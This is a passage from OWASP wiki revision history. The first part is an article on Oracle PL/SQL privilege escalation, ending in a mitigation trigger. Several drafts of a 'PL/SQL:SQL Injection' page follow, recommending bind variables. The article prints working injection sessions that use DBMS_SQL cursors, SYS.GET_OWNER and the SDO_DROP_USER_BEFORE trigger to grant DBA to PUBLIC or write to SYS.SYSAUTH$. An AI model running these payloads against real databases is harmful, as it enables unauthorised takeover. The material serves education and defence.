As part of executing the SELECT query the database server also executes the GET_DBA <br />
function with SYS privileges and the GRANT succeeds. This GET_DBA function is an <br />
auxiliary inject function and it performs the real work of the exploit. If an attacker can't <br />
create their own functions then they must find a function that already exists on the system <br />
- a function that allows them to execute arbitrary SQL. Prior to April 2006, when the flaw <br />
was patched, the GET_DOMAIN_INDEX_TABLES function on the SYS owned <br />
DBMS_EXPORT_EXTENSION package could be used: <br />
<br />
SQL> <br />
SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTP<br />
UT".PUT(:P1); EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; <br />
BEGIN EXECUTE IMMEDIATE ''''GRANT DBA TO PUBLIC''''; END;''; END;--<br />
','SYS',0,'1',0) <br />
<br />
This package was vulnerable to SQL injection and attacker supplied arguments were <br />
embedded into a block of anonymous PL/SQL. As PUBLIC could directly execute this <br />
package they could execute arbitrary SQL using this function alone - there was no need <br />
to inject it into another vulnerable package. As already stated, this has since been fixed. <br />
<br />
There are two other functions that can be used as auxiliary inject functions, however, they can only be used as such due to a flaw. One is vulnerable to a cursor snarfing issue [see <br />
http://www.databasesecurity.com/dbsec/cursor-snarfing.pdf] that can be exploited to run <br />
arbitrary SQL as SYS and the other is vulnerable to a SQL injection flaw into an <br />
anonymous PL/SQL block, again allowing an attacker to execute arbitrary SQL as SYS. <br />
Both are currently being fixed by Oracle and until the patch is out they will remain <br />
"nameless". <br />
<br />
Each of the three known extant functions that can be used as auxiliaries contain a <br />
vulnerability of some sort and will all be patched at some stage making their "usefulness" <br />
time limited. There is what could be argued as a fourth function that can be abused by an <br />
attacker to execute arbitrary SQL and it doesn't rely on a vulnerability. I say "could be <br />
argued" because it's not as straight forward as simply injecting the function - it needs to <br />
be primed first. What follows is a description of the new method: it is simple multi-stage <br />
attack (so simple in fact I should have thought of it years ago!) and it works on all <br />
versions of Oracle and can be exploited by an attacker to run any SQL - provided of <br />
course there is a vector - i.e. a PL/SQL package, procedure, function, trigger or type <br />
which is vulnerable to SQL injection. <br />
<br />
<br />
==The DBMS_SQL package== <br />
<br />
The DBMS_SQL package contains a number of procedures and functions that can be <br />
used to execute dynamic SQL queries: <br />
<br />
SQL> CONNECT SCOTT/PASSWORD <br />
Connected. <br />
SQL> DECLARE <br />
2 MY_CURSOR NUMBER; <br />
3 RESULT NUMBER; <br />
4 BEGIN <br />
5 MY_CURSOR := DBMS_SQL.OPEN_CURSOR; <br />
6 DBMS_SQL.PARSE(MY_CURSOR,'SELECT 1 FROM DUAL',0); <br />
7 RESULT := DBMS_SQL.EXECUTE(MY_CURSOR); <br />
8 DBMS_SQL.CLOSE_CURSOR(MY_CURSOR); <br />
9 END; <br />
10 / <br />
<br />
PL/SQL procedure successfully completed. <br />
<br />
Here, we create a cursor called "MY_CURSOR" using the <br />
DBMS_SQL.OPEN_CURSOR function. We then tie this cursor to a query, in this case <br />
"SELECT 1 FROM DUAL", by using the DBMS_SQL.PARSE procedure. By doing this, <br />
the cursor becomes like a handle to this query which is then executed using the <br />
DBMS_SQL.EXECUTE function. Lastly the cursor is closed. All an attacker need do to <br />
execute arbitrary SQL in open a cursor and parse the SQL and then inject the <br />
DBMS_SQL.EXECUTE function into the vulnerable PL/SQL object: <br />
<br />
SQL> CONNECT SCOTT/PASSWORD <br />
Connected. <br />
SQL> SET SERVEROUTPUT ON SQL> DECLARE <br />
2 MY_CURSOR NUMBER; <br />
3 RESULT NUMBER; <br />
4 BEGIN <br />
5 MY_CURSOR := DBMS_SQL.OPEN_CURSOR; <br />
6 DBMS_SQL.PARSE(MY_CURSOR,'declare pragma autonomous_transaction; <br />
begin execute immediate ''grant dba to public''; commit; end;',0); <br />
7 DBMS_OUTPUT.PUT_LINE('Cursor value is :' || MY_CURSOR); <br />
8 END; <br />
9 / <br />
Cursor value is :4 <br />
<br />
PL/SQL procedure successfully completed. <br />
<br />
SQL> EXEC SYS.GET_OWNER('AAAA''||CHR(DBMS_SQL.EXECUTE(4))--'); <br />
<br />
PL/SQL procedure successfully completed. <br />
<br />
SQL> SET ROLE DBA; <br />
<br />
Role set. <br />
<br />
Firstly, we open the cursor and then parse our query - one that'll grant DBA privileges to <br />
PUBLIC. We then print the value of the cursor to the screen - 4 in this case. We then pass <br />
4 as the argument to the DBMS_SQL.EXECUTE function when we inject it into the <br />
vulnerable procedure. The DBMS_SQL.EXECUTE function returns a number so we use <br />
the CHR function to convert the number to a character - which can then be concatenated. <br />
When the application defined SELECT query executes so too does the <br />
DBMS_SQL.EXECUTE function - and so the attacker's SQL is executed with SYS <br />
privileges - in this case granting DBA privileges to PUBLIC. <br />
<br />
==Only Half-primed...== <br />
<br />
Assume, rather than execute 'GRANT DBA TO PUBLIC', which might alert an intrusion <br />
detection/prevention system, the attacker wishes to perform an INSERT to achieve the <br />
same end, in other words, INSERT the relevant rows into the SYS.SYSAUTH$ table to <br />
make PUBLIC a DBA. At this stage, this new attack technique can not be used to do this. <br />
An error is returned from DBMS_SQL: table or view does not exist: <br />
<br />
SQL> SET SERVEROUTPUT ON <br />
SQL> DECLARE <br />
2 MY_CURSOR NUMBER; <br />
3 RESULT NUMBER; <br />
4 BEGIN <br />
5 MY_CURSOR := DBMS_SQL.OPEN_CURSOR; <br />
6 DBMS_SQL.PARSE(MY_CURSOR,'declare pragma autonomous_transaction; <br />
begin execute immediate ''INSERT INTO SYS.SYSAUTH$ (GRANTEE#, <br />
PRIVILEGE#, SEQUENCE#) VALUES (1,4,(SELECT MAX(SEQUENCE#)+1 FROM <br />
SYS.SYSAUTH$))''; commit; end;',0); <br />
7 DBMS_OUTPUT.PUT_LINE('Cursor value is :' || MY_CURSOR); <br />
8 END; <br />
9 / <br />
Cursor value is :4 <br />
PL/SQL procedure successfully completed. <br />
<br />
SQL> EXEC SYS.GET_OWNER('AAAA''||CHR(DBMS_SQL.EXECUTE(4))--'); <br />
BEGIN SYS.GET_OWNER('AAAA''||CHR(DBMS_SQL.EXECUTE(4))--'); END; <br />
<br />
* <br />
ERROR at line 1: <br />
ORA-00942: table or view does not exist <br />
ORA-06512: at line 1 <br />
ORA-06512: at "SYS.DBMS_SYS_SQL", line 1200 <br />
ORA-06512: at "SYS.DBMS_SQL", line 323 <br />
ORA-06512: at "SYS.GET_OWNER", line 7 <br />
ORA-06512: at line 1 <br />
<br />
The query here attempts to INSERT into the SYS.SYSAUTH$ table to make PUBLIC a <br />
DBA - but as can be seen - an error is generated. Whilst we can't use this to do an <br />
INSERT we've already seen we can grant DBA privileges and another action an attacker <br />
can take using this method is to create a function - even though they don't have the <br />
permissions to do so directly. Let's create a user with only the CREATE SESSION <br />
privilege and no more: <br />
<br />
SQL> CONNECT / AS SYSDBA <br />
Connected. <br />
SQL> CREATE USER CSESS IDENTIFIED BY PASSWORD; <br />
<br />
User created. <br />
<br />
SQL> GRANT CREATE SESSION TO CSESS; <br />
<br />
Grant succeeded. <br />
<br />
SQL> CONNECT CSESS/PASSWORD <br />
Connected. <br />
SQL> SELECT PRIVILEGE FROM SESSION_PRIVS; <br />
<br />
PRIVILEGE <br />
---------------------------------------- <br />
CREATE SESSION <br />
<br />
SQL> <br />
<br />
Now with our test user, CSESS, in place let's go ahead, connect as them and create a <br />
function even though we only have the CREATE SESSION privilege: <br />
<br />
SQL> CONNECT CSESS/PASSWORD <br />
Connected. <br />
SQL> SET SERVEROUTPUT ON <br />
SQL> DECLARE <br />
2 MY_CURSOR NUMBER; <br />
3 RESULT NUMBER; <br />
4 BEGIN <br />
5 MY_CURSOR := DBMS_SQL.OPEN_CURSOR; <br />
6 DBMS_SQL.PARSE(MY_CURSOR,'declare pragma autonomous_transaction; <br />
begin execute immediate ''create or replace function csess_func (p varchar2) return number authid current_user is begin execute immediate <br />
p; return 1; end;''; commit; end;',0); <br />
7 DBMS_OUTPUT.PUT_LINE('Cursor value is :' || MY_CURSOR); <br />
8 END; <br />
9 / <br />
Cursor value is :4 <br />
<br />
PL/SQL procedure successfully completed. <br />
<br />
SQL> EXEC SYS.GET_OWNER('AAAA''||CHR(DBMS_SQL.EXECUTE(4))--'); <br />
<br />
PL/SQL procedure successfully completed. <br />
<br />
Here we attempt to create a function call CSESS_FUNC. Now see if the function was <br />
actually created: <br />
<br />
SQL> SELECT CSESS_FUNC('SELECT 1 FROM DUAL') FROM DUAL; <br />
<br />
CSESS_FUNC('SELECT1FROMDUAL') <br />
----------------------------- <br />
1 <br />
<br />
SQL> <br />
<br />
All looks good. Now we can use this function to do whatever we want: <br />
<br />
SQL> CONNECT CSESS/PASSWORD <br />
Connected. <br />
SQL> SET ROLE DBA; <br />
SET ROLE DBA <br />
* <br />
ERROR at line 1: <br />
ORA-01924: role 'DBA' not granted or does not exist <br />
<br />
SQL> EXEC SYS.GET_OWNER('AAAA''||CHR(CSESS.CSESS_FUNC(''declare pragma <br />
autonomous_transaction; begin execute immediate ''''INSERT INTO <br />
SYS.SYSAUTH$ (GRANTEE#, PRIVILEGE#, SEQUENCE#) VALUES (1,4,(SELECT <br />
MAX(SEQUENCE#)+1 FROM SYS.SYSAUTH$))''''; commit; end;''))--'); <br />
<br />
PL/SQL procedure successfully completed. <br />
<br />
SQL> SET ROLE DBA; <br />
<br />
Role set. <br />
<br />
Note that, on some systems, such as 10g Release 2 a "unique constraint" error might be <br />
generated but the INSERT does succeed: <br />
<br />
SQL> CONNECT CSESS/PASSWORD <br />
Connected. <br />
SQL> SET ROLE DBA; <br />
SET ROLE DBA <br />
* <br />
ERROR at line 1: <br />
ORA-01924: role 'DBA' not granted or does not exist <br />
SQL> EXEC SYS.GET_OWNER('AAAA''||CHR(CSESS.CSESS_FUNC(''declare pragma <br />
autonomous_transaction; begin execute immediate ''''INSERT INTO <br />
SYS.SYSAUTH$ (GRANTEE#, PRIVILEGE#, SEQUENCE#) VALUES (1,4,(SELECT <br />
MAX(SEQUENCE#)+1 FROM SYS.SYSAUTH$))''''; commit; end;''))--'); <br />
BEGIN SYS.GET_OWNER('AAAA''||CHR(CSESS.CSESS_FUNC(''declare pragma <br />
autonomous_transaction; begin execute immediate ''''INSERT INTO <br />
SYS.SYSAUTH$ (GRANTEE#,PRIVILEGE#, SEQUENCE#) VALUES (1,4,(SELECT <br />
MAX(SEQUENCE#)+1 FROM SYS.SYSAUTH$))''''; commit; end;''))--'); END; <br />
<br />
* <br />
ERROR at line 1: <br />
ORA-00001: unique constraint (SYS.I_SYSAUTH1) violated <br />
ORA-06512: at line 1 <br />
ORA-06512: at "CSESS.CSESS_FUNC", line 1 <br />
ORA-06512: at "SYS.GET_OWNER", line 7 <br />
ORA-06512: at line 1 <br />
<br />
SQL> SET ROLE DBA; <br />
<br />
Role set. <br />
<br />
So, by injecting DBMS_SQL.EXECUTE as an auxiliary function with "limited" scope, an attacker can <br />
create their own auxiliary inject function to then do whatever they want. <br />
<br />
<br />
==Exploiting the SDO_DROP_USER_BEFORE trigger==<br />
<br />
In the introduction I mentioned the SDO_DROP_USER_BEFORE trigger. In 10g <br />
Release 2 and before October 2006, when the flaw was patched, this trigger owned by <br />
MDSYS was vulnerable to SQL injection. At the time it was believed that this was only <br />
exploitable if the attacker had the CREATE PROCEDURE (and therefore FUNCTION) <br />
privilege [see DB02 entry in http://www.oracle.com/technology/deploy/security/critical-<br />
patch-updates/cpuoct2006.html#AppendixA] <br />
<br />
The problem lay in the fact that the name of the user being dropped was embedded within <br />
a block of anonymous PL/SQL: <br />
<br />
... <br />
... <br />
EXECUTE IMMEDIATE <br />
'begin ' || <br />
'mdsys.rdf_apis_internal.' || <br />
'notify_drop_user(''' || dictionary_obj_name || '''); ' || <br />
'end;'; <br />
... <br />
... <br />
<br />
This is the vulnerable code from the trigger. Here, "dictionary_obj_name" is the name of <br />
the user being dropped and, as this "user" could be arbitrary, it was possible for an <br />
attacker to inject 30 bytes of arbitrary SQL. In terms of exploiting this to gain DBA <br />
privileges an attacker needs to jump through some hoops but it can be done. MDSYS is <br />
not a DBA so the attacker must rely on an indirect privilege upgrade attack and, indeed, an attack is possible via MDSYS having the CREATE ANY TRIGGER system privilege. <br />
By leveraging this privilege during a SQL injection attack, the attacker can create an <br />
auxiliary trigger in the SYSTEM schema. This auxiliary trigger will carry out the work of <br />
gaining the attacker DBA privileges. Firstly, the attacker needs the name of a table into <br />
which PUBLIC can insert - there are a few - SYSTEM.OL$ will be the choice. A <br />
"BEFORE INSERT" trigger will be created on this table; this trigger will execute the <br />
GRANT DBA TO PUBLIC when an INSERT is performed. Let's step through attack <br />
from start to finish. CSESS has only the CREATE SESSION privilege and cannot set the <br />
DBA role: <br />
<br />
<br />
SQL> CONNECT CSESS/PASSWORD <br />
Connected. <br />
SQL> SET SERVEROUTPUT ON <br />
SQL> SELECT PRIVILEGE FROM SESSION_PRIVS; <br />
<br />
PRIVILEGE <br />
---------------------------------------- <br />
CREATE SESSION <br />
<br />
SQL> SET ROLE DBA; <br />
SET ROLE DBA <br />
* <br />
ERROR at line 1: <br />
ORA-01924: role 'DBA' not granted or does not exist <br />
<br />
Once logged in CSESS then creates a cursor and primes it with a query that will create <br />
the trigger on the SYSTEM.OL$ table - we also use DBMS_OUTPUT to show us that <br />
our SQL is executing as expected: <br />
<br />
SQL> DECLARE <br />
2 MY_CURSOR NUMBER; <br />
3 RESULT NUMBER; <br />
4 BEGIN <br />
5 MY_CURSOR := DBMS_SQL.OPEN_CURSOR; <br />
6 DBMS_SQL.PARSE(MY_CURSOR,'declare pragma autonomous_transaction; <br />
begin DBMS_OUTPUT.PUT_LINE(''EXECUTING FROM SDO_DROP_USER_BEFORE!!!''); <br />
execute immediate ''create or replace trigger system.WHOPPEE before <br />
insert on system.OL$ DECLARE msg VARCHAR2(30); BEGIN null; <br />
dbms_output.put_line(''''In the trigger''''); EXECUTE IMMEDIATE <br />
''''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE <br />
''''''''GRANT DBA TO PUBLIC''''''''; END; ''''; end WHOPPEE;''; commit; <br />
end;',0); <br />
7 DBMS_OUTPUT.PUT_LINE('Cursor value is :' || MY_CURSOR); <br />
8 END; <br />
9 / <br />
Cursor value is :3 <br />
<br />
PL/SQL procedure successfully completed. <br />
<br />
With this done we can see the value of the cursor is 3. We'll pass this as the argument to <br />
DBMS_SQL.EXECUTE when we inject it into the DROP USER statement: <br />
<br />
SQL> DROP USER "'||CHR(DBMS_SQL.EXECUTE(3))||'"; <br />
EXECUTING FROM SDO_DROP_USER_BEFORE!!! <br />
DROP USER "'||CHR(DBMS_SQL.EXECUTE(3))||'" <br />
* <br />
ERROR at line 1: <br />
ORA-01918: user ''||CHR(DBMS_SQL.EXECUTE(3))||'' does not exist <br />
<br />
Note we see our SQL is executing as expected - we can tell from the "EXECUTING <br />
FROM SDO_DROP_USER_BEFORE!!!" message we output using <br />
DBMS_OUTPUT.PUT_LINE. By now the WHOPPEE trigger should have been created <br />
on the SYSTEM.OL$ table. Let's now do the INSERT to fire the trigger: <br />
<br />
SQL> INSERT INTO SYSTEM.OL$ (OL_NAME) VALUES ('OWNED!'); <br />
In the trigger <br />
<br />
1 row created. <br />
<br />
With the trigger having fired, PUBLIC should now have DBA privileges and we should <br />
be able to set the role: <br />
<br />
SQL> SET ROLE DBA; <br />
<br />
Role set. <br />
<br />
And thus the SDO_DROP_USER_BEFORE trigger vulnerability can be exploited by a <br />
user that does not have the CREATE PROCEDURE privilege. <br />
<br />
==Risk Mitigation==<br />
<br />
What can be done to help prevent this being used as an attack method? Revoking the <br />
PUBLIC execute permission from DBMS_SQL, whilst it is an option, is not advised. <br />
There are around 170 objects that depend on DBMS_SQL and revoking the PUBLIC <br />
execute permission could invalidate a large number of these dependencies. One useable <br />
possibility is to limit who can do what in terms of DDL using a trigger. Assuming the <br />
only users on a particular database server that should be executing GRANT, CREATE or <br />
ALTER are "SYS", "JIM" and "JANE" then the following trigger could be created: <br />
<br />
CREATE OR REPLACE TRIGGER PREVENT_DDL BEFORE DDL ON DATABASE <br />
DECLARE <br />
V_USER VARCHAR(30); <br />
BEGIN <br />
V_USER := SYS_CONTEXT('USERENV','SESSION_USER'); <br />
<br />
IF V_USER != 'SYS' AND V_USER != 'JIM' AND V_USER !='JANE' THEN <br />
RAISE_APPLICATION_ERROR(-20002,'USER ' || V_USER || ' MAY <br />
NOT EXECUTE DDL'); <br />
END IF; <br />
END; <br />
/ <br />
<br />
If we now retry the attack the trigger will prevent us: <br />
SQL> CONNECT CSESS/PASSWORD <br />
Connected. <br />
SQL> SET SERVEROUTPUT ON <br />
SQL> DECLARE <br />
2 MY_CURSOR NUMBER; <br />
3 RESULT NUMBER; <br />
4 BEGIN <br />
5 MY_CURSOR := DBMS_SQL.OPEN_CURSOR; <br />
6 DBMS_SQL.PARSE(MY_CURSOR,'declare pragma autonomous_transaction; <br />
begin execute immediate ''create or replace function csess_func (p <br />
varchar2) return number authid current_user is begin execute immediate <br />
p; return 1; end;''; commit; end;',0); <br />
7 DBMS_OUTPUT.PUT_LINE('Cursor value is :' || MY_CURSOR); <br />
8 END; <br />
9 / <br />
Cursor value is :4 <br />
<br />
PL/SQL procedure successfully completed. <br />
<br />
SQL> EXEC SYS.GET_OWNER('AAAA''||CHR(DBMS_SQL.EXECUTE(4))--'); <br />
BEGIN SYS.GET_OWNER('AAAA''||CHR(DBMS_SQL.EXECUTE(4))--'); END; <br />
<br />
* <br />
ERROR at line 1: <br />
ORA-20002: USER CSESS MAY NOT EXECUTE DDL <br />
ORA-06512: at line 7 <br />
ORA-06512: at line 1 <br />
ORA-06512: at "SYS.DBMS_SYS_SQL", line 1200 <br />
ORA-06512: at "SYS.DBMS_SQL", line 323 <br />
ORA-06512: at "SYS.GET_OWNER", line 7 <br />
ORA-06512: at line 1 <br />
<br />
<br />
If we try to disable the trigger we get the same error. If we attempt to grant CSESS the <br />
ADMINISTER DATABASE TRIGGER we get the same error. Indeed, any attempt by <br />
someone other than SYS, JIM or JANE to execute GRANT, REVOKE, ALTER or <br />
CREATE ends up with it being blocked by the trigger. This method appears to be <br />
effective as a preventative measure.<br />
==Resources== <br />
* [1] [http://www.oracle.com/technology/tech/pl_sql/pdf/how_to_write_injection_proof_plsql.pdf Oracle's own paper on how to prevent SQL injection in PL/SQL, October 2008]<br />
<br />
[[Category:OWASP Oracle Project]]<br />
[[Category:Development]]<br />
[[Category:PL/SQL]]</div>Mjk303https://wiki.owasp.org/index.php?title=PL/SQL:SQL_Injection&diff=46386PL/SQL:SQL Injection2008-11-13T16:39:00Z<p>Mjk303: </p>
<hr />
<div>==Status==<br />
WIP 13/11/2008<br />
<br />
==Overview==<br />
As the name implies, SQL injection vulnerabilities allow an attacker to inject (or execute) SQL commands within an application. It is one of the most wide spread and dangerous application vulnerability. The CLASP project provides a good overview of [[SQL injection]].<br />
<br />
<br />
==Attack==<br />
<br />
==Vunerabilities==<br />
<br />
===UNIONS===<br />
Append the output of one or more other statements <br />
===SUBSELECTS===<br />
Blind SQL injection <br />
===PACKAGES===<br />
functions<br />
===DML===<br />
Insert, update and delete<br />
===DDL===<br />
Alter .. in case of a dynamic query.<br />
===Database links===<br />
Query other databases with @database link<br />
<br />
<br />
<br />
==Solution==<br />
The reason that SQL injection is possible, is that the SQL statement is being generated from a language or enviroment that isn't working with SQL natively. So it does not know the consequences. The same goes for the database itself. As long as the SQL statement is syntactally correct and user that performs it has the rights, the database will execute it. There is no way for both side to determine what the impact would be. When trying to figure that out your essentially blacklisting and any new variant will be bypass your predetermined.<br />
<br />
===Stored Procedures===<br />
We allready creating stored procedures since we are working with PL/SQL and as you can see it is still possible to write vunerable code. Plus there is an extra vunerabilty when running on the database, [[PL/SQL:Privilege escalation]]<br />
<br />
===Obfuscation===<br />
Another solution often found is to obfuscate the table and columns. So instead of using APPUSERS we call it CWO2HIF. Now this is not going to work as one of the 13 rules that describe an Relational Database[4] is that the metadata or catalog describing the database is stored in the database. For instance a query on ALL_TAB_COLUMNS would return me all the available tables, it columns and the types.<br />
<br />
All of these just dont work or limit just a small part, so we need to make the understand eachother better. We can do this by seperating the data from the logic.<br />
<br />
===Bind variables===<br />
As with all languages and databases, the seperation of the SQL logic and the SQL data is the only way to prevent SQL injection. These are placeholders we can use to tell the database these parts of the query are dynamic and the rest is hardcoded. The communication is split up into multiple packages<br />
<br />
But this is how a database wants you to communicate with it. Whenever a query passed to an Oracle database for execution, the first thing the RDMS will do is make a hashvalue of the query. Next it will to find the best way to collect the data that is needed and stores that in it's memory. After he is done with that it will selects the data and pass it on to the requester. A general rule is that if a query is responds within several seconds it was probaly spending more time in optimisation than the actual fetching.<br />
<br />
When you are hardparsing each query, which is essentially the same but using diffrent parameters or values to match, this will result in a diffrent hash value for each statement. Thus the DBMS has to do it's work again. When you are softparsing (ie. using bind variables) the first time you execute the query it will take a fraction longer than the hardparsed version as it needs to send more packages to the database. But each time thereafter the database can skip that bit and just fetch what is needed. And if it is still in the buffercache even give you the results immediatly.<br />
<br />
This is probably the only attackvector that when it is correctly fixed, it will also give you an performance improvement :)<br />
<br />
==Resources== <br />
* [1] [http://www.oracle.com/technology/tech/pl_sql/pdf/how_to_write_injection_proof_plsql.pdf Oracle's own paper on how to prevent SQL injection in PL/SQL, October 2008]<br />
* [2] [http://www.blackhat.com/presentations/bh-europe-04/bh-eu-04-litchfield.pdf David Litchfield's presentation on SQL injection at Black Hat, May 2004]<br />
* [4] [http://en.wikipedia.org/wiki/Codd's_12_rules Codd's 12 rules (0..12)]<br />
[[Category:OWASP Oracle Project]]<br />
[[Category:Development]]<br />
[[Category:PL/SQL]]</div>Mjk303https://wiki.owasp.org/index.php?title=PL/SQL:SQL_Injection&diff=46384PL/SQL:SQL Injection2008-11-13T16:38:10Z<p>Mjk303: </p>
<hr />
<div>==Status==<br />
WIP 13/11/2008<br />
<br />
==Overview==<br />
As the name implies, SQL injection vulnerabilities allow an attacker to inject (or execute) SQL commands within an application. It is one of the most wide spread and dangerous application vulnerability. The CLASP project provides a good overview of [[SQL injection]].<br />
<br />
<br />
==Attack==<br />
<br />
==Vunerabilities==<br />
<br />
===UNIONS===<br />
Append the output of one or more other statements <br />
===SUBSELECTS===<br />
Blind SQL injection <br />
===PACKAGES===<br />
functions<br />
===DML===<br />
Insert, update and delete<br />
===DDL===<br />
Alter .. in case of a dynamic query.<br />
===Database links===<br />
Query other databases with @database link<br />
<br />
<br />
<br />
==Solution==<br />
The reason that SQL injection is possible, is that the SQL statement is being generated from a language or enviroment that isn't working with SQL natively. So it does not know the consequences. The same goes for the database itself. As long as the SQL statement is syntactally correct and user that performs it has the rights, the database will execute it. There is no way for both side to determine what the impact would be. When trying to figure that out your essentially blacklisting and any new variant will be bypass your predetermined.<br />
<br />
===Stored Procedures===<br />
We allready creating stored procedures since we are working with PL/SQL and as you can see it is still possible to write vunerable code. Plus there is an extra vunerabilty when running on the database, [PL/SQL:Privilege escalation]<br />
<br />
===Obfuscation===<br />
Another solution often found is to obfuscate the table and columns. So instead of using APPUSERS we call it CWO2HIF. Now this is not going to work as one of the 13 rules that describe an Relational Database[4] is that the metadata or catalog describing the database is stored in the database. For instance a query on ALL_TAB_COLUMNS would return me all the available tables, it columns and the types.<br />
<br />
All of these just dont work or limit just a small part, so we need to make the understand eachother better. We can do this by seperating the data from the logic.<br />
<br />
===Bind variables===<br />
As with all languages and databases, the seperation of the SQL logic and the SQL data is the only way to prevent SQL injection. These are placeholders we can use to tell the database these parts of the query are dynamic and the rest is hardcoded. The communication is split up into multiple packages<br />
<br />
But this is how a database wants you to communicate with it. Whenever a query passed to an Oracle database for execution, the first thing the RDMS will do is make a hashvalue of the query. Next it will to find the best way to collect the data that is needed and stores that in it's memory. After he is done with that it will selects the data and pass it on to the requester. A general rule is that if a query is responds within several seconds it was probaly spending more time in optimisation than the actual fetching.<br />
<br />
When you are hardparsing each query, which is essentially the same but using diffrent parameters or values to match, this will result in a diffrent hash value for each statement. Thus the DBMS has to do it's work again. When you are softparsing (ie. using bind variables) the first time you execute the query it will take a fraction longer than the hardparsed version as it needs to send more packages to the database. But each time thereafter the database can skip that bit and just fetch what is needed. And if it is still in the buffercache even give you the results immediatly.<br />
<br />
This is probably the only attackvector that when it is correctly fixed, it will also give you an performance improvement :)<br />
<br />
==Resources== <br />
* [1] [http://www.oracle.com/technology/tech/pl_sql/pdf/how_to_write_injection_proof_plsql.pdf Oracle's own paper on how to prevent SQL injection in PL/SQL, October 2008]<br />
* [2] [http://www.blackhat.com/presentations/bh-europe-04/bh-eu-04-litchfield.pdf David Litchfield's presentation on SQL injection at Black Hat, May 2004]<br />
* [4] [http://en.wikipedia.org/wiki/Codd's_12_rules Codd's 12 rules (0..12)]<br />
[[Category:OWASP Oracle Project]]<br />
[[Category:Development]]<br />
[[Category:PL/SQL]]</div>Mjk303https://wiki.owasp.org/index.php?title=PL/SQL:SQL_Injection&diff=46383PL/SQL:SQL Injection2008-11-13T16:35:01Z<p>Mjk303: </p>
<hr />
<div>==Status==<br />
WIP 13/11/2008<br />
<br />
==Overview==<br />
As the name implies, SQL injection vulnerabilities allow an attacker to inject (or execute) SQL commands within an application. It is one of the most wide spread and dangerous application vulnerability. The CLASP project provides a good overview of [[SQL injection]].<br />
<br />
<br />
==Attack==<br />
<br />
==Vunerabilities==<br />
<br />
===UNIONS===<br />
Append the output of one or more other statements <br />
===SUBSELECTS===<br />
Blind SQL injection <br />
===PACKAGES===<br />
functions<br />
===DML===<br />
Insert, update and delete<br />
===DDL===<br />
Alter .. in case of a dynamic query.<br />
===Database links===<br />
Query other databases with @database link<br />
<br />
<br />
<br />
==Solution==<br />
The reason that SQL injection is possible, is that the SQL statement is being generated from a language or enviroment that isn't working with SQL natively. So it does not know the consequences. The same goes for the database itself. As long as the SQL statement is syntactally correct and user that performs it has the rights, the database will execute it. There is no way for both side to determine what the impact would be. When trying to figure that out your essentially blacklisting and any new variant will be bypass your predetermined.<br />
<br />
==Stored Procedures==<br />
<br />
==Obfuscation==<br />
Another solution often found is to obfuscate the table and columns. So instead of using APPUSERS we call it CWO2HIF. Now this is not going to work as one of the 13 rules that describe an Relational Database[4] is that the metadata or catalog describing the database is stored in the database. For instance a query on ALL_TAB_COLUMNS would return me all the available tables, it columns and the types.<br />
<br />
All of these just dont work or limit just a small part, so we need to make the understand eachother better. We can do this by seperating the data from the logic.<br />
<br />
===Bind variables===<br />
As with all languages and databases, the seperation of the SQL logic and the SQL data is the only way to prevent SQL injection. These are placeholders we can use to tell the database these parts of the query are dynamic and the rest is hardcoded. The communication is split up into multiple packages<br />
<br />
But this is how a database wants you to communicate with it. Whenever a query passed to an Oracle database for execution, the first thing the RDMS will do is make a hashvalue of the query. Next it will to find the best way to collect the data that is needed and stores that in it's memory. After he is done with that it will selects the data and pass it on to the requester. A general rule is that if a query is responds within several seconds it was probaly spending more time in optimisation than the actual fetching.<br />
<br />
When you are hardparsing each query, which is essentially the same but using diffrent parameters or values to match, this will result in a diffrent hash value for each statement. Thus the DBMS has to do it's work again. When you are softparsing (ie. using bind variables) the first time you execute the query it will take a fraction longer than the hardparsed version as it needs to send more packages to the database. But each time thereafter the database can skip that bit and just fetch what is needed. And if it is still in the buffercache even give you the results immediatly.<br />
<br />
This is probably the only attackvector that when it is correctly fixed, it will also give you an performance improvement :)<br />
<br />
==Resources== <br />
* [1] [http://www.oracle.com/technology/tech/pl_sql/pdf/how_to_write_injection_proof_plsql.pdf Oracle's own paper on how to prevent SQL injection in PL/SQL, October 2008]<br />
* [2] [http://www.blackhat.com/presentations/bh-europe-04/bh-eu-04-litchfield.pdf David Litchfield's presentation on SQL injection at Black Hat, May 2004]<br />
* [4] [http://en.wikipedia.org/wiki/Codd's_12_rules Codd's 12 rules (0..12)]<br />
[[Category:OWASP Oracle Project]]<br />
[[Category:Development]]<br />
[[Category:PL/SQL]]</div>Mjk303https://wiki.owasp.org/index.php?title=PL/SQL:SQL_Injection&diff=46381PL/SQL:SQL Injection2008-11-13T16:31:45Z<p>Mjk303: </p>
<hr />
<div>==Status==<br />
WIP 13/11/2008<br />
<br />
==Overview==<br />
As the name implies, SQL injection vulnerabilities allow an attacker to inject (or execute) SQL commands within an application. It is one of the most wide spread and dangerous application vulnerability. The CLASP project provides a good overview of [[SQL injection]].<br />
<br />
<br />
==Attack==<br />
<br />
==Vunerabilities==<br />
<br />
===UNIONS===<br />
Append the output of one or more other statements <br />
===SUBSELECTS===<br />
Blind SQL injection <br />
===PACKAGES===<br />
functions<br />
===DML===<br />
Insert, update and delete<br />
===DDL===<br />
Alter .. in case of a dynamic query.<br />
===Database links===<br />
Query other databases with @database link<br />
<br />
<br />
==Stored Procedures==<br />
<br />
<br />
==Solution==<br />
The reason that SQL injection is possible, is that the SQL statement is being generated from a language or enviroment that isn't working with SQL natively. So it does not know the consequences. The same goes for the database itself. As long as the SQL statement is syntactally correct and user that performs it has the rights, the database will execute it. There is no way for both side to determine what the impact would be. When trying to figure that out your essentially blacklisting and any new variant will be bypass your predetermined.<br />
<br />
Another solution often found is to obfuscate the table and columns. Now this is not going to work as one of the 13 rules that describe an Relational Database[4] is that the metadata or catalog describing the database is stored in the database. For instance a query on ALL_TAB_COLUMNS would return me all the availeble tables, it columns and the types. So we need to make the understand eachother better. We can do this by seperating the data from the logic.<br />
<br />
==Bind variables==<br />
As with all languages and databases, the seperation of the SQL logic and the SQL data is the only way to prevent SQL injection. These are placeholders we can use to tell the database these parts of the query are dynamic and the rest is hardcoded. The communication is split up into multiple packages<br />
<br />
